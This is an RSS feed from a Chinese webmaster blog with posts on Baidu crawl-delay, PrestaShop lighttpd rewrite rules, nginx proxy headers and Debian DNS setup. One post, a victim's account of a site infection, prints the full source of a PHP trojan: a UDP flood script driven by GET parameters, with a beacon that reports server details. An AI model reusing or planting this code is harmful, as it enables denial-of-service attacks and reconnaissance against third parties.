<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>登高望远 &#187; 网站程序</title>
	<atom:link href="http://www.dengor.com/archives/category/application/feed" rel="self" type="application/rss+xml" />
	<link>http://www.dengor.com</link>
	<description>努力往上  只为看得更远一点点......</description>
	<lastBuildDate>Mon, 06 Feb 2012 08:59:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
		<item>
		<title>百度关于百度蜘蛛抓取频率的说明</title>
		<link>http://www.dengor.com/archives/1388.html</link>
		<comments>http://www.dengor.com/archives/1388.html#comments</comments>
		<pubDate>Sun, 05 Feb 2012 02:44:33 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[robots]]></category>
		<category><![CDATA[百度]]></category>
		<category><![CDATA[蜘蛛]]></category>
		<category><![CDATA[频率]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1388</guid>
		<description><![CDATA[百度自己说：百度严格遵循搜索引擎Robots协议（详细内容，参见http://www.robotstxt.org/），其实很多对设置是没有效果的，如百度蜘蛛抓取频率的设置。对百度很无奈 百度蜘蛛抓取时间和频率限制，可以在robots中的crawl-delay中设置，这个参数是baidu spider对网站访问频率的重要参考信息之一，但spider系统会根据网站规模、质量、更新频度等多方面信息综合计算得出最终的执行压力，因此并不保 证严格遵守crawl-delay中的设置值。 相关文章对百度很无奈百度老年搜索的手写输入做得不错集成google 百度 淘宝的搜索工具条各主要搜索引擎登录入口]]></description>
			<content:encoded><![CDATA[<p>百度自己说：百度严格遵循搜索引擎Robots协议（详细内容，参见<a href="http://www.robotstxt.org/" target="_blank">http://www.robotstxt.org/</a>），其实很多对设置是没有效果的，如百度蜘蛛抓取频率的设置。<a rel="bookmark" href="../archives/539.html">对百度很无奈</a></p>
<p>百度蜘蛛抓取时间和频率限制，可以在robots中的crawl-delay中设置，这个参数是baidu  spider对网站访问频率的重要参考信息之一，但spider系统会根据网站规模、质量、更新频度等多方面信息综合计算得出最终的执行压力，因此并不保 证严格遵守crawl-delay中的设置值。</p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/539.html" title="对百度很无奈">对百度很无奈</a></li><li><a href="http://www.dengor.com/archives/438.html" title="百度老年搜索的手写输入做得不错">百度老年搜索的手写输入做得不错</a></li><li><a href="http://www.dengor.com/archives/291.html" title="集成google 百度  淘宝的搜索工具条">集成google 百度  淘宝的搜索工具条</a></li><li><a href="http://www.dengor.com/archives/274.html" title="各主要搜索引擎登录入口 ">各主要搜索引擎登录入口 </a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1388.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>[转]prestashop 1.4.4的lighttpd rewrite规则</title>
		<link>http://www.dengor.com/archives/1358.html</link>
		<comments>http://www.dengor.com/archives/1358.html#comments</comments>
		<pubDate>Wed, 30 Nov 2011 23:36:58 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[网罗天下]]></category>
		<category><![CDATA[lighttpd]]></category>
		<category><![CDATA[prestashop]]></category>
		<category><![CDATA[rewrite]]></category>
		<category><![CDATA[规则]]></category>
		<category><![CDATA[重写]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1358</guid>
		<description><![CDATA[lighttpd的高效率成为很多小型的VPS下运行的网页服务，特别是免费的面板Kloxo就可以使用lighttpd. 但prestashop的重写规则都是针对apache的，所以要记录一下prestashop 1.4.4的lighttpd rewrite重写规则。 由于prestashop 1.4.3更新了一个新的“文件系统”，将图片文件分文件夹存放，为了同时兼容两种的文件存放方式，需要更改重写规则。 url.rewrite-once = ( &#8220;^/([a-z0-9]+)\-([a-z0-9]+)(\-[_a-zA-Z0-9-]*)/([_a-zA-Z0-9-]*)\.jpg$&#8221; =&#62; &#8220;/img/p/$1-$2$3.jpg&#8221;, &#8220;^/([0-9]+)\-([0-9]+)/[_a-zA-Z0-9-]*\.jpg$&#8221; =&#62; &#8220;/img/p/$1-$2.jpg&#8221;, &#8220;^/([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&#62; &#8220;/img/p/$1/$1$2.jpg&#8221;, &#8220;^/([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&#62; &#8220;/img/p/$1/$2/$1$2$3.jpg&#8221;, &#8220;^/([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&#62; &#8220;/img/p/$1/$2/$3/$1$2$3$4.jpg&#8221;, &#8220;^/([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&#62; &#8220;/img/p/$1/$2/$3/$4/$1$2$3$4$5.jpg&#8221;, &#8220;^/([0-9])([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&#62; &#8220;/img/p/$1/$2/$3/$4/$5/$1$2$3$4$5$6.jpg&#8221;, &#8220;^/([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&#62; &#8220;/img/p/$1/$2/$3/$4/$5/$6/$1$2$3$4$5$6$7.jpg&#8221;, &#8220;^/([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&#62; &#8220;/img/p/$1/$2/$3/$4/$5/$6/$7/$1$2$3$4$5$6$7$8.jpg&#8221;, &#8220;^/([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&#62; &#8220;/img/p/$1/$2/$3/$4/$5/$6/$7/$8/$1$2$3$4$5$6$7$8$9.jpg&#8221;, &#8220;^/([0-9]+)(\-[_a-zA-Z0-9-]*)/([_a-zA-Z0-9-]*)\.jpg$&#8221; =&#62; &#8220;/img/c/$1$2.jpg&#8221;, &#8220;^/lang-([a-z]{2})/([a-zA-Z0-9-]*)/([0-9]+)\-([a-zA-Z0-9-]*)\.html(\?(.*))?&#8221; =&#62; &#8220;/product.php?id_product=$3&#38;isolang;=$1$6&#8243;, &#8220;^/lang-([a-z]{2})/([0-9]+)\-([a-zA-Z0-9-]*)\.html(\?(.*))?&#8221; =&#62; &#8220;/product.php?id_product=$2&#38;isolang;=$1&#38;$4&#8243;, &#8220;^/lang-([a-z]{2})/content/category/([0-9]+)\-([a-zA-Z0-9-]*)(\?(.*))?&#8221; =&#62; &#8220;/cms.php?id_cms_category=$2&#38;isolang;=$1&#38;$5&#8243;, &#8220;^/lang-([a-z]{2})/content/([0-9]+)\-([a-zA-Z0-9-]*)(\?(.*))?&#8221; =&#62; &#8220;/cms.php?id_cms=$2&#38;isolang;=$1&#38;$4&#8243;, &#8220;^/([a-zA-Z0-9-]*)/([0-9]+)\-([a-zA-Z0-9-]*)\.html(\?(.*))?&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p><strong>lighttpd</strong>的高效率成为很多小型的VPS下运行的网页服务，特别是免费的面板Kloxo就可以使用lighttpd. 但<a title="prestashop" href="http://www.dengor.com/archives/tag/prestashop">prestashop</a>的重写规则都是针对apache的，所以要记录一下prestashop 1.4.4的lighttpd rewrite重写规则。</p>
<p><span id="more-1358"></span>由于prestashop 1.4.3更新了一个新的“文件系统”，将图片文件分文件夹存放，为了同时兼容两种的文件存放方式，需要更改重写规则。</p>
<blockquote><p>url.rewrite-once = (<br />
&#8220;^/([a-z0-9]+)\-([a-z0-9]+)(\-[_a-zA-Z0-9-]*)/([_a-zA-Z0-9-]*)\.jpg$&#8221; =&gt; &#8220;/img/p/$1-$2$3.jpg&#8221;,<br />
&#8220;^/([0-9]+)\-([0-9]+)/[_a-zA-Z0-9-]*\.jpg$&#8221; =&gt; &#8220;/img/p/$1-$2.jpg&#8221;,<br />
&#8220;^/([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&gt; &#8220;/img/p/$1/$1$2.jpg&#8221;,<br />
&#8220;^/([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&gt; &#8220;/img/p/$1/$2/$1$2$3.jpg&#8221;,<br />
&#8220;^/([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&gt; &#8220;/img/p/$1/$2/$3/$1$2$3$4.jpg&#8221;,<br />
&#8220;^/([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&gt; &#8220;/img/p/$1/$2/$3/$4/$1$2$3$4$5.jpg&#8221;,<br />
&#8220;^/([0-9])([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&gt; &#8220;/img/p/$1/$2/$3/$4/$5/$1$2$3$4$5$6.jpg&#8221;,<br />
&#8220;^/([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&gt; &#8220;/img/p/$1/$2/$3/$4/$5/$6/$1$2$3$4$5$6$7.jpg&#8221;,<br />
&#8220;^/([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&gt; &#8220;/img/p/$1/$2/$3/$4/$5/$6/$7/$1$2$3$4$5$6$7$8.jpg&#8221;,<br />
&#8220;^/([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?/[_a-zA-Z0-9-]*\.jpg$&#8221; =&gt; &#8220;/img/p/$1/$2/$3/$4/$5/$6/$7/$8/$1$2$3$4$5$6$7$8$9.jpg&#8221;,</p>
<p>&#8220;^/([0-9]+)(\-[_a-zA-Z0-9-]*)/([_a-zA-Z0-9-]*)\.jpg$&#8221; =&gt; &#8220;/img/c/$1$2.jpg&#8221;,<br />
&#8220;^/lang-([a-z]{2})/([a-zA-Z0-9-]*)/([0-9]+)\-([a-zA-Z0-9-]*)\.html(\?(.*))?&#8221; =&gt; &#8220;/product.php?id_product=$3&amp;isolang;=$1$6&#8243;,<br />
&#8220;^/lang-([a-z]{2})/([0-9]+)\-([a-zA-Z0-9-]*)\.html(\?(.*))?&#8221; =&gt; &#8220;/product.php?id_product=$2&amp;isolang;=$1&amp;$4&#8243;,</p>
<p>&#8220;^/lang-([a-z]{2})/content/category/([0-9]+)\-([a-zA-Z0-9-]*)(\?(.*))?&#8221; =&gt; &#8220;/cms.php?id_cms_category=$2&amp;isolang;=$1&amp;$5&#8243;,</p>
<p>&#8220;^/lang-([a-z]{2})/content/([0-9]+)\-([a-zA-Z0-9-]*)(\?(.*))?&#8221; =&gt; &#8220;/cms.php?id_cms=$2&amp;isolang;=$1&amp;$4&#8243;,<br />
&#8220;^/([a-zA-Z0-9-]*)/([0-9]+)\-([a-zA-Z0-9-]*)\.html(\?(.*))?&#8221; =&gt; &#8220;/product.php?id_product=$2&amp;$5&#8243;,<br />
&#8220;^/([0-9]+)\-([a-zA-Z0-9-]*)\.html(\?(.*))?&#8221; =&gt; &#8220;/product.php?id_product=$1&amp;$4&#8243;,<br />
&#8220;^/([0-9]+)\-([a-zA-Z0-9-]*)(\?(.*))?&#8221; =&gt; &#8220;/category.php?id_category=$1&amp;$4&#8243;,<br />
&#8220;^/lang-([a-z]{2})/([0-9]+)\-([a-zA-Z0-9-]*)(\?(.*))?&#8221; =&gt; &#8220;/category.php?id_category=$2&amp;isolang;=$1&amp;$5&#8243;,</p>
<p>&#8220;^/content/category/([0-9]+)\-([a-zA-Z0-9-]*)(\?(.*))?&#8221; =&gt; &#8220;/cms.php?id_cms_category=$1&#8243;,</p>
<p>&#8220;^/content/([0-9]+)\-([a-zA-Z0-9-]*)(\?(.*))?&#8221; =&gt; &#8220;/cms.php?id_cms=$1&amp;$4&#8243;,<br />
&#8220;^/([0-9]+)__([a-zA-Z0-9-]*)(\?(.*))?&#8221; =&gt; &#8220;/supplier.php?id_supplier=$1&amp;$4&#8243;,<br />
&#8220;^/([0-9]+)_([a-zA-Z0-9-]*)(\?(.*))?&#8221; =&gt; &#8220;/manufacturer.php?id_manufacturer=$1&amp;$4&#8243;,<br />
&#8220;^/lang-([a-z]{2})/(\?(.*))?&#8221; =&gt; &#8220;/index.php?isolang=$1&amp;$2&#8243;,<br />
&#8220;^/address(\?(.*))?&#8221; =&gt; &#8220;/address.php$1&#8243;,<br />
&#8220;^/addresses(\?(.*))?&#8221; =&gt; &#8220;/addresses.php$1&#8243;,<br />
&#8220;^/authentication(\?(.*))?&#8221; =&gt; &#8220;/authentication.php$1&#8243;,<br />
&#8220;^/cart(\.php)?(\?(.*))?&#8221; =&gt; &#8220;/cart.php$2&#8243;,<br />
&#8220;^/discount(\?(.*))?&#8221; =&gt; &#8220;/discount.php$1&#8243;,<br />
&#8220;^/guest-tracking(\?(.*))?&#8221; =&gt; &#8220;/guest-tracking.php$1&#8243;,<br />
&#8220;^/order-history(\?(.*))?&#8221; =&gt; &#8220;/history.php$1&#8243;,<br />
&#8220;^/identity(\?(.*))?&#8221; =&gt; &#8220;/identity.php$1&#8243;,<br />
&#8220;^/my-account(\?(.*))?&#8221; =&gt; &#8220;/my-account.php$1&#8243;,<br />
&#8220;^/order(\?(.*))?&#8221; =&gt; &#8220;/order.php$1&#8243;,<br />
&#8220;^/order-follow(\?(.*))?&#8221; =&gt; &#8220;/order-follow.php$1&#8243;,<br />
&#8220;^/quick-order(\?(.*))?&#8221; =&gt; &#8220;/order-opc.php$1&#8243;,<br />
&#8220;^/password-recovery(\?(.*))?&#8221; =&gt; &#8220;/password.php$1&#8243;,<br />
&#8220;^/order-slip(\?(.*))?&#8221; =&gt; &#8220;/order-slip.php$1&#8243;,<br />
&#8220;^/search(\?(.*))?&#8221; =&gt; &#8220;/search.php$1&#8243;,<br />
&#8220;^/contact-us(\?(.*))?&#8221; =&gt; &#8220;/contact-form.php$1&#8243;,<br />
&#8220;^/new-products(\?(.*))?&#8221; =&gt; &#8220;/new-products.php$1&#8243;,<br />
&#8220;^/page-not-found(\?(.*))?&#8221; =&gt; &#8220;/404.php$1&#8243;,<br />
&#8220;^/sitemap$&#8221; =&gt; &#8220;/sitemap.php$1&#8243;,<br />
&#8220;^/best-sales(\?(.*))?&#8221; =&gt; &#8220;/best-sales.php$1&#8243;,<br />
&#8220;^/prices-drop(\?(.*))?&#8221; =&gt; &#8220;/prices-drop.php$1&#8243;,<br />
&#8220;^/stores(\?(.*))?&#8221; =&gt; &#8220;/stores.php$1&#8243;,<br />
)</p></blockquote>
<p>原文：<a href="http://www.znjack.com/prestashop-1-4-4%E7%9A%84lighttpd-rewrite%E8%A7%84%E5%88%99.html,334">http://www.znjack.com/prestashop-1-4-4%E7%9A%84lighttpd-rewrite%E8%A7%84%E5%88%99.html,334</a></p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1100.html" title="Nginx下把no-www转向到www的重写规则">Nginx下把no-www转向到www的重写规则</a></li><li><a href="http://www.dengor.com/archives/931.html" title="实现Prestashop在nginx中的url重写">实现Prestashop在nginx中的url重写</a></li><li><a href="http://www.dengor.com/archives/1291.html" title="prestashop在lnmpa下图片不显示问题">prestashop在lnmpa下图片不显示问题</a></li><li><a href="http://www.dengor.com/archives/1210.html" title="Prestashop设置Pre-defined message不换行问题">Prestashop设置Pre-defined message不换行问题</a></li><li><a href="http://www.dengor.com/archives/1134.html" title="nginx中301重新定向的方法">nginx中301重新定向的方法</a></li><li><a href="http://www.dengor.com/archives/907.html" title="快速定位Prestashop模块文件的位置">快速定位Prestashop模块文件的位置</a></li><li><a href="http://www.dengor.com/archives/900.html" title="Prestashop通过CSV文件导入图片问题">Prestashop通过CSV文件导入图片问题</a></li><li><a href="http://www.dengor.com/archives/897.html" title="理解免费网店系统prestashop中的hook概念">理解免费网店系统prestashop中的hook概念</a></li><li><a href="http://www.dengor.com/archives/408.html" title="Apach中.htaccess一些常用的url重写">Apach中.htaccess一些常用的url重写</a></li><li><a href="http://www.dengor.com/archives/511.html" title="DEDE开启伪静态的重写设置">DEDE开启伪静态的重写设置</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1358.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>一个PHP木马的代码</title>
		<link>http://www.dengor.com/archives/1328.html</link>
		<comments>http://www.dengor.com/archives/1328.html#comments</comments>
		<pubDate>Sat, 29 Oct 2011 08:43:47 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[木马]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1328</guid>
		<description><![CDATA[前段时间网站中了一个木马, 被人调用后流量一下就用完了. PHP木马的代码: &#60;?php set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GET['time']; $Sendlen = 128; $packets = 0; ignore_user_abort(True); if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])&#60;&#62;0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"].&#8221;&#124;&#8221;.GetHostByName($_SERVER['SERVER_NAME']).&#8221;&#124;&#8221;.php_uname().&#8221;&#124;&#8221;.$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo &#8220;err&#8221;; exit; } for($i=0;$i&#60;$Sendlen;$i++){ $out .= &#8220;A&#8221;; } $max_time = time()+$exec_time; while(1){ $packets++; if(time() &#62; $max_time or $exec_time != 18){ break; [...]]]></description>
			<content:encoded><![CDATA[<p>前段时间网站中了一个木马, 被人调用后流量一下就用完了.</p>
<p>PHP木马的代码:</p>
<p><span id="more-1328"></span></p>
<blockquote><p>&lt;?php<br />
set_time_limit(999999);<br />
$host = $_GET['host'];<br />
$port = $_GET['port'];<br />
$exec_time = $_GET['time'];<br />
$Sendlen = 128;<br />
$packets = 0;<br />
ignore_user_abort(True);</p>
<p>if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){<br />
if (StrLen($_GET['rat'])&lt;&gt;0){<br />
echo $_GET['rat'].$_SERVER["HTTP_HOST"].&#8221;|&#8221;.GetHostByName($_SERVER['SERVER_NAME']).&#8221;|&#8221;.php_uname().&#8221;|&#8221;.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];<br />
exit;<br />
}<br />
echo &#8220;err&#8221;;<br />
exit;<br />
}</p>
<p>for($i=0;$i&lt;$Sendlen;$i++){<br />
$out .= &#8220;A&#8221;;<br />
}</p>
<p>$max_time = time()+$exec_time;<br />
while(1){<br />
$packets++;<br />
if(time() &gt; $max_time or $exec_time != 18){<br />
break;<br />
}<br />
$fp = fsockopen(&#8220;udp://$host&#8221;, $port, $errno, $errstr, 5);<br />
if($fp){<br />
fwrite($fp, $out);<br />
fclose($fp);<br />
}<br />
}<br />
?&gt;</p></blockquote>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li><li><a href="http://www.dengor.com/archives/789.html" title="php运行超时分步执行的简单方法">php运行超时分步执行的简单方法</a></li><li><a href="http://www.dengor.com/archives/763.html" title="Jquery使用php进行ajax调用例子">Jquery使用php进行ajax调用例子</a></li><li><a href="http://www.dengor.com/archives/449.html" title="Cpanel中的cron定时执行任务使用方法">Cpanel中的cron定时执行任务使用方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1328.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>让nginx按域名来反向代理</title>
		<link>http://www.dengor.com/archives/1317.html</link>
		<comments>http://www.dengor.com/archives/1317.html#comments</comments>
		<pubDate>Thu, 13 Oct 2011 03:22:47 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[反向代理]]></category>
		<category><![CDATA[域名]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1317</guid>
		<description><![CDATA[我们知道nginx有很强大的反向代理能力, 可以参看Nginx(LNMP)反向代理配置教程 当设置: proxy_pass              http://www.dengor.com nginx会把 www.dengor.com转换成IP, 跟用IP直接访问网站的效果一样. 当网站设置了禁用IP访问或一个IP有多个网站时,  访问就会出错. 这时候就要设置 proxy_set_header的Host: proxy_set_header Host  www.dengor.com; 这样才能通过域名解析到具体的网站, nginx反向代理同一ip多nginx反向代理同一ip多个域名，给header加上host就可以了个域名，给header加上host就可以了 相关文章Nginx(LNMP)反向代理配置教程[转]lnmp安装后进程优化prestashop在lnmpa下图片不显示问题Nginx出现502后自动重启脚本Nginx设置404 Not Found页面的方法如何转出yahoo域名和注意事项nginx中301重新定向的方法Nginx默认网站的设置Nginx下把no-www转向到www的重写规则实现Prestashop在nginx中的url重写]]></description>
			<content:encoded><![CDATA[<p>我们知道nginx有很强大的反向代理能力, 可以参看<a rel="bookmark" href="../archives/1267.html">Nginx(LNMP)反向代理配置教程</a> 当设置:</p>
<blockquote><p>proxy_pass              http://www.dengor.com</p></blockquote>
<p>nginx会把 www.dengor.com转换成IP, 跟用IP直接访问网站的效果一样. 当网站设置了禁用IP访问或一个IP有多个网站时,  访问就会出错.</p>
<p><span id="more-1317"></span> 这时候就要设置 proxy_set_header的Host:</p>
<blockquote><p>proxy_set_header Host  www.dengor.com;</p></blockquote>
<p>这样才能通过域名解析到具体的网站, nginx反向代理同一ip多nginx反向代理同一ip多个域名，给header加上host就可以了个域名，给header加上host就可以了</p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1267.html" title="Nginx(LNMP)反向代理配置教程[转]">Nginx(LNMP)反向代理配置教程[转]</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1291.html" title="prestashop在lnmpa下图片不显示问题">prestashop在lnmpa下图片不显示问题</a></li><li><a href="http://www.dengor.com/archives/1255.html" title="Nginx出现502后自动重启脚本">Nginx出现502后自动重启脚本</a></li><li><a href="http://www.dengor.com/archives/1191.html" title="Nginx设置404 Not Found页面的方法">Nginx设置404 Not Found页面的方法</a></li><li><a href="http://www.dengor.com/archives/1145.html" title="如何转出yahoo域名和注意事项">如何转出yahoo域名和注意事项</a></li><li><a href="http://www.dengor.com/archives/1134.html" title="nginx中301重新定向的方法">nginx中301重新定向的方法</a></li><li><a href="http://www.dengor.com/archives/1125.html" title="Nginx默认网站的设置">Nginx默认网站的设置</a></li><li><a href="http://www.dengor.com/archives/1100.html" title="Nginx下把no-www转向到www的重写规则">Nginx下把no-www转向到www的重写规则</a></li><li><a href="http://www.dengor.com/archives/931.html" title="实现Prestashop在nginx中的url重写">实现Prestashop在nginx中的url重写</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1317.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>debian无法解析时配置resolv.conf文件</title>
		<link>http://www.dengor.com/archives/1312.html</link>
		<comments>http://www.dengor.com/archives/1312.html#comments</comments>
		<pubDate>Wed, 05 Oct 2011 11:37:58 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[软件系统]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[解析]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1312</guid>
		<description><![CDATA[安装好debian后发现网络配置有问题，只能ping IP如果ping 域名就会出现 ping: unknown host www.dengor.com 可以看得出来是dns解析出错了。 网络配置文件中/etc/network/interfaces 可以设置 dns-nameservers，但在这里设置了google的公共dns 8.8.8.8还是不行。 原来还要设置/etc/resolv.conf 文件指定dns debian中resolv.conf 的一个重要功能就是提供一个域名服务器的 IP 地址列表，通过查询这些服务器来获得域名解析。这一列表常常依赖于网络环境，DHCP, pppd 和 dhclient 这类程序也能添加或删除 resolv.conf 中的信息。 resolv.conf 的配置说明: resolv.conf是DNS域名解析的配置文件，文件格式很简单，每行以一个关键字开头，后接配置参数。 resolv.conf的关键字主要有四个，分别是： nameserver #定义DNS服务器的IP地址 domain     #定义本地域名 search     #定义域名的搜索列表 sortlist   #对返回的域名进行排序 /etc/resolv.conf的示例： domain localdomain search localdomain nameserver 8.8.8.8 最主要是nameserver关键字，如果没指定nameserver就找不到DNS服务器，其它关键字是可选的。 相关文章Debian5下安装PPTP VPN的配置方法更新源问题导致debian6下Lnmp无法安装成功lnmp安装后进程优化Kloxo面板网站出现500错误国外高性价比VPS-virpusKloxo面板的一些常用设置苹果Mac系统中清除DNS缓存的方法Linux系统中IPtables设置基础知识Nginx默认网站的设置年付15美元的小内存VPS-NordicVPS]]></description>
			<content:encoded><![CDATA[<p>安装好debian后发现网络配置有问题，只能ping IP如果ping 域名就会出现</p>
<blockquote><p>ping: unknown host www.dengor.com</p></blockquote>
<p>可以看得出来是dns解析出错了。</p>
<p>网络配置文件中/etc/network/interfaces 可以设置 dns-nameservers，但在这里设置了<a href="http://www.dengor.com/archives/420.html">google的公共dns</a> 8.8.8.8还是不行。</p>
<p>原来还要设置/etc/resolv.conf 文件指定dns</p>
<p><span id="more-1312"></span>debian中resolv.conf 的一个重要功能就是提供一个域名服务器的 IP  地址列表，通过查询这些服务器来获得域名解析。这一列表常常依赖于网络环境，DHCP, pppd 和 dhclient 这类程序也能添加或删除  resolv.conf 中的信息。<br />
resolv.conf 的配置说明:<br />
resolv.conf是DNS域名解析的配置文件，文件格式很简单，每行以一个关键字开头，后接配置参数。<br />
resolv.conf的关键字主要有四个，分别是：<br />
nameserver #定义DNS服务器的IP地址<br />
domain     #定义本地域名<br />
search     #定义域名的搜索列表<br />
sortlist   #对返回的域名进行排序<br />
/etc/resolv.conf的示例：<br />
domain localdomain<br />
search localdomain<br />
nameserver 8.8.8.8<br />
最主要是nameserver关键字，如果没指定nameserver就找不到DNS服务器，其它关键字是可选的。</p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1281.html" title="Debian5下安装PPTP VPN的配置方法">Debian5下安装PPTP VPN的配置方法</a></li><li><a href="http://www.dengor.com/archives/1356.html" title="更新源问题导致debian6下Lnmp无法安装成功">更新源问题导致debian6下Lnmp无法安装成功</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1285.html" title="Kloxo面板网站出现500错误">Kloxo面板网站出现500错误</a></li><li><a href="http://www.dengor.com/archives/1258.html" title="国外高性价比VPS-virpus">国外高性价比VPS-virpus</a></li><li><a href="http://www.dengor.com/archives/1238.html" title="Kloxo面板的一些常用设置">Kloxo面板的一些常用设置</a></li><li><a href="http://www.dengor.com/archives/1157.html" title="苹果Mac系统中清除DNS缓存的方法">苹果Mac系统中清除DNS缓存的方法</a></li><li><a href="http://www.dengor.com/archives/1150.html" title="Linux系统中IPtables设置基础知识">Linux系统中IPtables设置基础知识</a></li><li><a href="http://www.dengor.com/archives/1125.html" title="Nginx默认网站的设置">Nginx默认网站的设置</a></li><li><a href="http://www.dengor.com/archives/957.html" title="年付15美元的小内存VPS-NordicVPS">年付15美元的小内存VPS-NordicVPS</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1312.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>lnmp安装后进程优化</title>
		<link>http://www.dengor.com/archives/1301.html</link>
		<comments>http://www.dengor.com/archives/1301.html#comments</comments>
